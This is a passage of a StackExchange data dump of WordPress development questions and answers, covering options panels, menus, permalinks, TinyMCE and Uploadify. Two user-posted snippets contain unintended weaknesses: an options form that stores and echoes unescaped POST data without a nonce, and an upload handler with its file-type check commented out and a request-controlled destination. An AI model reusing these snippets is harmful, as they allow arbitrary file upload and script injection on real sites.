self::$this-&amp;gt;side_bar_title, 'edit_themes', $array_name, array(&amp;amp;$this, 'optionsmenu'));&#xA;}&#xA;&#xA;public function admin_head() {&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;' . get_bloginfo('template_url') . '/code/' . $array_name . '.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;';&#xA;}&#xA;&#xA;public function set_input_fields( $array ) {&#xA;    if( ! is_array( $array ) ) {&#xA;        Throw new Exception('set_input_field() perams must be an array.');  &#xA;    }else{&#xA;        foreach( $array as $input_arrays ) {&#xA;            if( count( $input_arrays ) != 3 ) {&#xA;                Throw new Exception('Perams must per input must total 3. input type, name and label');  &#xA;            }else{&#xA;                $type = $input_arrays[0];&#xA;                $name = $input_arrays[1];&#xA;                $label = $input_arrays[2];&#xA;                if( ! isset( $this-&amp;gt;inputs-&amp;gt;{$name} ) ) {&#xA;                    $this-&amp;gt;inputs-&amp;gt;{$name} = array( 'type' =&amp;gt; $type, 'label' =&amp;gt; $label );&#xA;                }else{&#xA;                    Throw new Exception('Cannot redeclair input perams.');  &#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;public function optionsmenu() {&#xA;    if ( $_POST['ss_action'] == 'save' ) {&#xA;        if( isset( $this-&amp;gt;inputs ) ) {&#xA;            foreach( $this-&amp;gt;inputs as $name =&amp;gt; $array ) {&#xA;                $this-&amp;gt;options[(string)$name] = $_POST[$name];  &#xA;            }&#xA;            update_option( $this-&amp;gt;ref_name, $this-&amp;gt;options );&#xA;            echo '&amp;lt;div class=&quot;updated fade&quot; id=&quot;message&quot; style=&quot;background-color: rgb(255, 251, 204); width: 300px; margin-left: 20px&quot;&amp;gt;&amp;lt;p&amp;gt;Settings &amp;lt;strong&amp;gt;saved&amp;lt;/strong&amp;gt;.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;form action=&quot;&quot; method=&quot;post&quot; class=&quot;themeform&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; id=&quot;ss_action&quot; name=&quot;ss_action&quot; value=&quot;save&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Edit Static Text&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php&#xA;        if( isset( $this-&amp;gt;inputs ) ) {&#xA;            foreach( $this-&amp;gt;inputs as $name =&amp;gt; $array ) {&#xA;                switch( $array['type'] ) {&#xA;                    case 'text' :&#xA;                        echo '&amp;lt;p&amp;gt;&amp;lt;label style=&quot;display: inline-block; width: 150px; vertical-align: top;&quot;&amp;gt;' . $array['label'] . '&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;' . (string)$name . '&quot; id=&quot;&quot; value=&quot;' . $this-&amp;gt;options[(string)$name] . '&quot; /&amp;gt;&amp;lt;p&amp;gt;';&#xA;                    break;  &#xA;                }&#xA;            } &#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Save Changes&quot; name=&quot;cp_save&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;try{&#xA;    $cp = new create_panel();&#xA;    $cp-&amp;gt;set_ref_name( 'styles' );&#xA;    $cp-&amp;gt;set_sidebar_title( 'Edit Styles' );&#xA;    $cp-&amp;gt;set_input_fields( array( array( 'text','telephone','Telephone:' ) ) );&#xA;}catch(Exception $err){&#xA;    die( $err-&amp;gt;getMessage() );  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it seems to work but then when i reload the page the data has not saved. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7016" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-21T07:21:45.377" LastActivityDate="2011-03-21T07:21:45.377" Title="wordpress - php class to add pages and fields in admin panel" Tags="&lt;options&gt;&lt;settings&gt;&lt;api&gt;" AnswerCount="2" />
  <row Id="12579" PostTypeId="2" ParentId="668" CreationDate="2011-03-20T23:47:39.840" Score="9" ViewCount="" Body="&lt;h1&gt;Post / Page Relationships&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The ability to relate one post to another is definitely functionality I find myself needing quite a lot on more advanced client websites using Wordpress. The ability to relate a post to another post or page is something that should be in the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Mike has had some involvement on the Wordpress trac in relation to pushing for something like this in the core, but nothing has been added yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called &lt;em&gt;artists&lt;/em&gt;. I also have a custom post type called &lt;em&gt;albums&lt;/em&gt;, &lt;em&gt;reviews&lt;/em&gt; and &lt;em&gt;tours&lt;/em&gt;. Now the &lt;em&gt;artists&lt;/em&gt; custom post type has; a bio, links to social media websites like Last.fm &amp;amp; Facebook and an artist image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add a new tour to my &lt;em&gt;tours&lt;/em&gt; custom post type, but have it for a specific artist. In this case the artist is Thrice and I want to add a tour Thrice is doing in May, 2011. I add the location, date and then select which post I want to relate it to, in this case it's Thrice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can then query all tours and get their related artist on the front end. The argument I've seen is that you can use custom taxonomies, but that would require having to duplicate content and not be efficient at all, especially considering an artist has an image, links to social media profiles and other artist specific things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already a plugin that does the aforementioned quite well called &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts To Posts&lt;/a&gt;. If something like this were added, it would make my life and the many other people wanting this functionality lives easier.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-20T23:47:39.840" CommunityOwnedDate="2011-03-20T23:47:39.840" CommentCount="2" />
  <row Id="12580" PostTypeId="1" AcceptedAnswerId="12582" CreationDate="2011-03-20T23:54:07.310" Score="1" ViewCount="261" Body="&lt;p&gt;I'm looking for a good tutorial on how to create a popup window with a TinyMce button that would allow the user to select from multiple options, enter text into inputs, etc. I know how to create a button that displays a single prompt window, but that's about it and I've been searching for hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know some links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-03-21T00:12:17.307" Title="Add popup window to TinyMCE buttons" Tags="&lt;tinymce&gt;&lt;visual-editor&gt;&lt;buttons&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12581" PostTypeId="2" ParentId="12575" CreationDate="2011-03-20T23:57:55.103" Score="4" ViewCount="" Body="&lt;p&gt;here is a function that does just that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_lastest_post_of_category($cat){&#xA;    $args = array( 'posts_per_page' =&amp;gt; 1, 'order'=&amp;gt; 'DESC', 'orderby' =&amp;gt; 'date', 'category__in' =&amp;gt; (array)$cat);&#xA;    $post_is = get_posts( $args );&#xA;    return $post_is[0]-&amp;gt;ID;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage: say my category id is 22 then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$last_post_ID = get_lastest_post_of_category(22);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also pass an array of categories to this function.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-21T12:21:38.163" LastActivityDate="2011-03-21T12:21:38.163" CommentCount="3" />
  <row Id="12582" PostTypeId="2" ParentId="12580" CreationDate="2011-03-21T00:12:17.307" Score="2" ViewCount="" Body="&lt;p&gt;Here is a nice and fairly new (a year old) tutorial i've read a few days ago&#xA;&lt;a href=&quot;http://www.garyc40.com/2010/03/how-to-make-shortcodes-user-friendly/&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/03/how-to-make-shortcodes-user-friendly/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He as a great example and you cal also download the source files and get a better understanding.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-21T00:12:17.307" CommentCount="1" />
  <row Id="12583" PostTypeId="2" ParentId="12576" CreationDate="2011-03-21T00:14:34.797" Score="7" ViewCount="" Body="&lt;p&gt;The active plugins are stored in the 'active_plugins' option, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;  'akismet/akismet.php',&#xA;  'hello-dolly.php',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On each page load, WP just loops through that array and includes those files. It's up to each plugin to include any additional files that it may have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a plugin is deactivated, it's just removed from that array. On the next page load, it won't be included anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No &quot;un-including&quot; required.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-21T01:25:39.477" LastActivityDate="2011-03-21T01:25:39.477" CommentCount="8" />
  <row Id="12584" PostTypeId="2" ParentId="12571" CreationDate="2011-03-21T00:14:52.390" Score="0" ViewCount="" Body="&lt;p&gt;Go into your admin and go to Settings/Permalinks, make sure your links are set as desired and hit save changes. Worked for me.&lt;/p&gt;&#xA;" OwnerUserId="4094" LastActivityDate="2011-03-21T00:14:52.390" />
  <row Id="12586" PostTypeId="2" ParentId="12578" CreationDate="2011-03-21T00:33:50.890" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; first. But maybe &lt;a href=&quot;http://wordpress.org/extend/plugins/option-tree/screenshots/&quot; rel=&quot;nofollow&quot;&gt;&quot;OptionTree&quot;&lt;/a&gt; will help you even more.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-21T00:33:50.890" CommentCount="2" />
  <row Id="12587" PostTypeId="2" ParentId="12578" CreationDate="2011-03-21T01:04:34.940" Score="0" ViewCount="" Body="&lt;p&gt;I wrote a tutorial that may help you: &lt;a href=&quot;http://bit.ly/hHjo6n&quot; rel=&quot;nofollow&quot;&gt;Incorporating the Settings API in WordPress Themes&lt;/a&gt;. I don't use the Class method, but perhaps the tutorial may be helpful.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-21T01:04:34.940" />
  <row Id="12588" PostTypeId="2" ParentId="9768" CreationDate="2011-03-21T01:09:09.647" Score="0" ViewCount="" Body="&lt;p&gt;Can you be more specific regarding what behavior you want to change? The answer will be specific to your needed modification.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-21T01:09:09.647" />
  <row Id="12589" PostTypeId="2" ParentId="12530" CreationDate="2011-03-21T01:20:27.150" Score="0" ViewCount="" Body="&lt;p&gt;Ideally, you should be passing the &quot;theme_location&quot; argument to wp_nav_menu().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Register your three menus in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus( array(&#xA;     'front_page' =&amp;gt; 'Front Page Menu',&#xA;     'single' =&amp;gt; 'Single Post Menu',&#xA;     'default' =&amp;gt; 'Default Menu'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, replace your code above with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_front_page() )  &#xA;{&#xA;     wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'front_page' ));&#xA;} &#xA;elseif ( is_single() )  &#xA;{&#xA;     wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'single' ) );&#xA;} &#xA;else &#xA;{&#xA;     wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'default' ));&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, ensure the appropriate custom menu is defined for each Theme Location, via Dashboard -&gt; Appearance -&gt; Menus&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-21T01:20:27.150" />
  <row Id="12590" PostTypeId="2" ParentId="12529" CreationDate="2011-03-21T01:25:29.563" Score="0" ViewCount="" Body="&lt;p&gt;You can accomplish this in at least two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Via CSS. Use the appropriate class selectors (e.g. current-page-item, current-page-parent, current-page-ancestor) to display the appropriate sub-menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Separate calls to wp_list_pages(). The first call will have a depth=1 argument passed, and the second will determine the ID of the current parent page, and output accordingly, using the &quot;child_of&quot; argument, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;$current_page_parent = ( $post-&amp;gt;post_parent ? $post-&amp;gt;post_parent : $post-&amp;gt;ID );&#xA;&#xA;wp_list_pages( array(&#xA;     'title_li' =&amp;gt; '',&#xA;     'child_of' =&amp;gt; $current_page_parent,&#xA;     'depth' =&amp;gt; '1' )&#xA;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are probably other ways, as well.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-21T01:25:29.563" />
  <row Id="12591" PostTypeId="2" ParentId="12571" CreationDate="2011-03-21T01:29:36.153" Score="0" ViewCount="" Body="&lt;p&gt;Reset permalinks at Dashboard&gt;&gt;Settings&gt;&gt;Permalinks and be sure WP says it was able to make changes to the .htaccess file, or make the changes yourself it fails to write to .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you change installed directories? I.e., from /wordpress/ to root? If so, see&#xA;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you moved to a Windows IIS server, be sure it's set up to handle pretty permalinks: &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Permalinks_without_mod_rewrite&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks#Permalinks_without_mod_rewrite&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-21T01:29:36.153" />
  <row Id="12592" PostTypeId="1" AcceptedAnswerId="12623" CreationDate="2011-03-21T01:32:13.627" Score="0" ViewCount="370" Body="&lt;p&gt;Trying to get Uploadify to work together with Wordpress.&#xA;I've implented the code from documentation in a metabox in wordpress admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can &quot;select file&quot; and upload it, and Uploadify will show progress, but when I check the destination folder, it's empty.&#xA;The folder has chmod 777 so I don't understand what could be wrong..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/uploadify.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/jquery-1.4.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/swfobject.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/jquery.uploadify.v2.1.4.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;$('#file_upload').uploadify({&#xA;'uploader' : '&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/uploadify.swf',&#xA;'script' : '&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/uploadify.php',&#xA;'cancelImg' : '&amp;lt;?php echo get_stylesheet_directory_uri() ?&amp;gt;/uploadify/cancel.png',&#xA;'folder' : '&amp;lt;?php echo get_bloginfo('url') ?&amp;gt;/wp-content/uploads',&#xA;'auto' : true&#xA;});&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;input id=&quot;file_upload&quot; name=&quot;file_upload&quot; type=&quot;file&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Uploadify.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;if (!empty($_FILES)) {&#xA;    $tempFile = $_FILES['Filedata']['tmp_name'];&#xA;    $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';&#xA;    $targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];&#xA;&#xA;    // $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);&#xA;    // $fileTypes  = str_replace(';','|',$fileTypes);&#xA;    // $typesArray = split('\|',$fileTypes);&#xA;    // $fileParts  = pathinfo($_FILES['Filedata']['name']);&#xA;&#xA;    // if (in_array($fileParts['extension'],$typesArray)) {&#xA;        // Uncomment the following line if you want to make the directory if it doesn't exist&#xA;        // mkdir(str_replace('//','/',$targetPath), 0755, true);&#xA;&#xA;        move_uploaded_file($tempFile,$targetFile);&#xA;        echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);&#xA;    // } else {&#xA;    //  echo 'Invalid file type.';&#xA;    // }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditorDisplayName="" LastEditDate="2011-03-21T08:15:31.887" LastActivityDate="2011-03-21T12:39:06.293" Title="Problem with implenting Uploadify with Wordpress" Tags="&lt;admin&gt;&lt;uploads&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12593" PostTypeId="2" ParentId="12570" CreationDate="2011-03-21T01:34:11.500" Score="3" ViewCount="" Body="&lt;p&gt;There's no clean way to do it, at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function make_virtual_page() {&#xA;  global $wp;&#xA;&#xA;  $wp-&amp;gt;add_query_var( 'show_hello_world' );&#xA;  add_rewrite_rule( 'show-hello-world/?$', 'index.php?show_hello_world=1', 'top' );&#xA;}&#xA;add_action( 'init', 'make_virtual_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That takes care of rewriting. Remember to flush the rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, your plugin can check for &lt;code&gt;get_query_var( 'show_hello_world' );&lt;/code&gt; and do whatever.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-21T01:34:11.500" />
  <row Id="12594" PostTypeId="1" CreationDate="2011-03-21T03:07:43.117" Score="1" ViewCount="88" Body="&lt;p&gt;I have a scenario where I need to account for promo posts/ads within a category. For example, say I have a category called &quot;featured&quot;, when I click through to this category, posts #2, #6 and #8 will display posts from the &quot;Promo&quot; category, while the rest of the &quot;featured&quot; posts would continue to render as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking was to create a &quot;Promo&quot; category, and add a custom field of &quot;sequence&quot; to the posts within this category. Then, during the rendering of the featured loop check the position in the loop, check to see whether a post of Promo with sequence position exists, and display this, somehow - I'm not sure how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to implement this?&lt;/p&gt;&#xA;" OwnerUserId="3651" LastEditorUserId="3651" LastEditorDisplayName="" LastEditDate="2011-03-21T06:08:03.407" LastActivityDate="2011-08-21T01:32:49.950" Title="Multiple posts with fixed order position" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="12595" PostTypeId="2" ParentId="9725" CreationDate="2011-03-21T03:12:59.227" Score="0" ViewCount="" Body="&lt;p&gt;You can &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt; with a checkbox inside (this would be done through your &lt;code&gt;functions.php&lt;/code&gt; file). Then you have to put the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta()&lt;/code&gt;&lt;/a&gt; function inside your &lt;code&gt;single.php&lt;/code&gt; or ex. &lt;code&gt;index.php&lt;/code&gt; files loop and &lt;code&gt;echo&lt;/code&gt; your &lt;code&gt;wp_title()&lt;/code&gt; based on the &lt;code&gt;if/else&lt;/code&gt; condition of the meta value (&lt;code&gt;(bool) true/false || 0/1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-21T03:12:59.227" />
  <row Id="12596" PostTypeId="2" ParentId="12532" CreationDate="2011-03-21T04:08:59.230" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://alexchen.info/taiwantalk/wp-content/uploads/2011/03/cheating.png&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit &lt;a href=&quot;http://developers.facebook.com/docs/reference/plugins/like/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/reference/plugins/like/&lt;/a&gt; and see &quot;Step 2 - Get Open Graph Tags&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a lot of WP plugins out there that can help you to generate Open Graph tags.&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-21T04:08:59.230" />
  <row Id="12599" PostTypeId="1" CreationDate="2011-03-21T05:40:07.990" Score="1" ViewCount="185" Body="&lt;p&gt;I am setting up a site for a client and have included a dynamic sidebar in the template for certain types of posts. I would like the client to be able to add a text widget to that sidebar for a post and put in content related to that post only. Is this possible in WordPress or is the text widget put in one post going to show up on all others?&lt;/p&gt;&#xA;" OwnerUserId="4092" LastActivityDate="2011-05-26T21:43:28.613" Title="How to have dynamic sidebar content per post" Tags="&lt;sidebar&gt;&lt;template&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12601" PostTypeId="1" CreationDate="2011-03-21T06:02:46.830" Score="1" ViewCount="63" Body="&lt;p&gt;in mine network setup, the super admin has the ability to see the tinyMCE editing buttons in the option page, but when i switch to a regular adimin, i can see only the HTML editing buttons (the &quot;rich text&quot;).&#xA;what can be the reason for that?&#xA;i can find any thing in the functions.php that indicates that i registered a enqueue script just for super admins... &lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-08-20T20:32:46.307" Title="in network setup super admin has the tinyMCE buttons and the regular admin has not" Tags="&lt;editor&gt;&lt;tinymce&gt;&lt;network&gt;&lt;network-admin&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12602" PostTypeId="2" ParentId="12571" CreationDate="2011-03-21T06:08:04.690" Score="0" ViewCount="" Body="&lt;p&gt;If you were hosting on a Linux box originally, chances are your tar or zip command didn't include .htaccess. Resaving your permalinks option (or copying over your .htaccess) file should fix it.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-21T06:08:04.690" CommentCount="1" />
  <row Id="12603" PostTypeId="2" ParentId="12570" CreationDate="2011-03-21T06:09:43.067" Score="0" ViewCount="" Body="&lt;p&gt;In your header.php, page.php, or index.php, add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page('show-hello-world')) { &#xA;   echo &quot;Hello, world!&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-21T06:09:43.067" />
  <row Id="12604" PostTypeId="1" AcceptedAnswerId="15518" CreationDate="2011-03-21T06:45:41.100" Score="1" ViewCount="202" Body="&lt;p&gt;How do you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create a page and select &quot;Blog Template&quot; and also choose which category for the Blog's you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Then create a blog post and choose the category for that page....resulting in a page that shows all the blog posts for that category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-06-23T17:06:14.390" Title="Creating Pages that show specific blog categories" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="12605" PostTypeId="1" AcceptedAnswerId="12609" CreationDate="2011-02-03T01:00:45.037" Score="0" ViewCount="86" Body="&lt;p&gt;Currently creating a plugin with cURL and I need a place that will work for most WordPress servers (Unix or Windows) to store my cookie file. Anyone have a suggestion or best practices? I've been googling for a while now and I think I found something about wp_temp_dir, but googling that keyword gives me only a thousand and one results about solving some install error.&lt;/p&gt;&#xA;" OwnerUserId="4119" LastActivityDate="2011-03-21T08:19:04.503" Title="WordPress Plugin: Where should I put my cookies for cURL?" Tags="&lt;plugins&gt;&lt;cookies&gt;&lt;curl&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="12606" PostTypeId="2" ParentId="12605" CreationDate="2011-03-04T18:17:53.733" Score="0" ViewCount="" Body="&lt;p&gt;You could store cookies in &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transients&lt;/a&gt;. That way, its absctracted enough from the actual storage location that it should work across environments. Transients are stored in the wp_options table of the database by default, but can be memcached by plugins.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-04T18:17:53.733" CommentCount="2" />
  <row Id="12607" PostTypeId="1" AcceptedAnswerId="12716" CreationDate="2011-03-21T07:04:41.163" Score="1" ViewCount="105" Body="&lt;p&gt;I messed up the settings with W3 Total Cache (tried to import all the media to my library, didn't work out well, broke all my links to every picture).&#xA;So I took my latest backup of the database, copy/paste the _post and _postmeta tables inside my phpmyadmin.&#xA;It brought back the links and pictures as expected, but now all the french characters (à,é,è etc) are not displayed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the backup from the plugin WP-DBManager, which doesn't seem to handle UTF-8 properly.&#xA;What's the fastest way to correct the issue ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited for more details:&#xA;The SQL backup header is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS `hojd_posts`;&#xA;SET @saved_cs_client     = @@character_set_client;&#xA;SET character_set_client = utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I have those characters badly encoded coming directly in my sql commands (eg: franÃ§ais for &quot;français&quot;)...&lt;/p&gt;&#xA;" OwnerUserId="3929" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:18:26.023" LastActivityDate="2011-06-07T14:18:26.023" Title="Faulty restore of the database, encoding issue" Tags="&lt;database&gt;&lt;backup&gt;&lt;encoding&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="12608" PostTypeId="2" ParentId="12554" CreationDate="2011-03-21T07:46:52.427" Score="2" ViewCount="" Body="&lt;p&gt;I would do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create &lt;a href=&quot;http://codex.wordpress.org/Category%3aWP-Cron_Functions&quot; rel=&quot;nofollow&quot;&gt;WP-Cron&lt;/a&gt; task (or just use daily &lt;code&gt;wp_scheduled_delete&lt;/code&gt; one to tag along) and hook your function to it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In that function:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fetch XML file;&lt;/li&gt;&#xA;&lt;li&gt;fetch all posts with &lt;code&gt;meta_weight&lt;/code&gt; set, using &lt;code&gt;get_posts()&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;loop through posts and save comparison result in another meta field for each.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T07:46:52.427" CommentCount="3" />
